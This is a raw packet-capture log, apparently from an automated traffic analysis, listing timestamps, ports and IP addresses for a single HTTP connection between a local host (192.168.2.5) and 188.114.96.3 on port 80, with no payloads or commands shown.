Nov 1, 2024 15:15:00.142294884 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.142317057 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.142385006 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.143059015 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.143080950 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.143086910 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.143093109 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.143107891 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.143125057 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.143151045 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.143151045 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.143168926 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.143871069 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.143876076 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.143889904 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.143908024 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.143923044 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.143930912 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.143939972 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.143956900 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.143989086 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.144716978 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.144742966 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.144758940 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.144776106 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.144779921 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.144779921 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.144790888 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.144808054 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.144821882 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.144821882 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.144845009 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.145558119 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.145574093 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.145589113 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.145605087 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.145608902 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.145608902 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.145620108 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.145625114 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.145636082 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.145642996 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.145668983 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.145688057 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.146399021 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.146414042 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.146426916 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.146436930 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.146444082 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.146451950 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.146459103 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.146488905 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.146533012 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.147181988 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.147197962 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.147212982 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.147228956 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.147233009 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.147244930 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.147259951 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.147260904 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.147275925 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.147290945 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.147320986 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.147342920 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.148088932 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.148104906 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.148121119 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.148133993 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.148142099 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.148142099 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.148149014 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.148152113 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.148166895 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.148180962 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.148183107 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.148201942 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.148231030 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.148977995 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.148993969 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.149009943 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.149020910 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.149025917 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.149030924 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.149041891 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.149058104 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.149058104 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.149074078 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.149089098 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.149100065 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.149100065 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.149100065 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.149116039 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.149142981 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.149931908 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.149955988 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.149971008 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.149974108 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.149988890 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.149996042 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.150002956 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.150018930 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.150033951 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.150048971 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.150067091 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.150068045 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.150068045 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.150068045 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.150106907 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.150178909 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.150887012 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.150902033 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.150918961 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.150933981 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.150947094 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.150949001 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.150947094 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.150968075 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.150974035 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.150979996 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.150983095 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.151030064 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.151030064 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.151824951 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.151840925 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.151863098 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.151870012 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.151880026 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.151895046 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.151896000 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.151911020 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.151927948 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.151932955 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.151947021 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.151954889 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.151963949 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.151979923 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.152014017 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.152791977 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.152807951 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.152822971 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.152837992 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.152853012 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.152858019 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.152858019 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.152868986 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.152885914 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.152887106 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.152903080 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.152936935 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.152936935 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.152950048 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.153690100 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.153706074 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.153722048 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.153737068 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.153752089 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.153759003 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.153759003 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.153768063 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.153784037 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.153791904 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.153861046 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.153872967 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.154546022 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.154562950 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.154584885 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.154597998 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.154599905 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.154614925 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.154639959 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.154639959 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.154639959 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.154649019 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.154654980 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.154659986 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.154687881 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.154710054 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.155563116 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.155582905 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.155586004 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.155601978 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.155612946 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.155616999 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.155633926 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.155639887 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.155649900 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.155666113 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.155679941 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.155682087 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.155682087 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.155720949 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.155752897 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.156492949 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.156498909 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.156513929 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.156537056 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.156537056 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.156553030 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.156569004 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.156593084 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.156609058 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.156610966 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.156610966 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.156622887 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.156625032 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.156632900 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.156656981 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.156676054 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.157443047 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.157461882 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.157476902 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.157491922 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.157506943 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.157511950 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.157511950 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.157524109 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.157540083 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.157557964 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.157574892 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.157576084 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.157584906 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.157635927 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.158363104 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.158405066 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.158407927 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.158426046 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.158442974 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.158448935 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.158463955 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.158479929 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.158494949 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.158509016 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.158520937 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.158520937 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.158574104 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.159271002 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.159287930 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.159302950 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.159326077 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.159326077 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.159333944 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.159348011 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.159363031 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.159373999 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.159373999 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.159378052 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.159382105 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.159394026 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.159399033 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.159409046 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.159415007 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.159456968 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.159456968 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.160191059 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.160207033 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.160228968 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.160244942 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.160245895 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.160245895 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.160260916 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.160262108 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.160275936 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.160290956 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.160290956 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.160306931 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.160314083 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.160314083 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.160322905 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.160339117 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.160343885 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.160355091 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.160376072 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.161149979 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.161165953 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.161183119 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.161206961 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.161207914 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.161207914 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.161220074 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.161221981 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.161240101 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.161256075 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.161256075 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.161256075 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.161273003 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.161289930 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.161294937 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.161294937 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.161307096 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.161309958 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.161366940 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.161366940 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.162044048 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.162060976 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.162075043 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.162092924 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.162091970 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.162091970 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.162158012 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.162173986 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.162364960 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.162380934 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.162395954 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.162406921 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.162420988 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.162427902 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.162436008 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.162452936 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.162467957 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.162470102 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.162482023 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.162482023 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.162484884 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.162488937 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.162502050 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.162518024 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.162525892 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.162539959 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.162556887 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.163384914 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.163402081 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.163418055 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.163435936 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.163450003 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.163450003 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.163450956 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.163453102 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.163470030 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.163480997 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.163485050 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.163491011 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.163501978 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.163516998 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.163523912 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.163523912 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.163532972 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.163563013 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.163563013 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.163609982 CET	49874	80	192.168.2.5	188.114.96.3
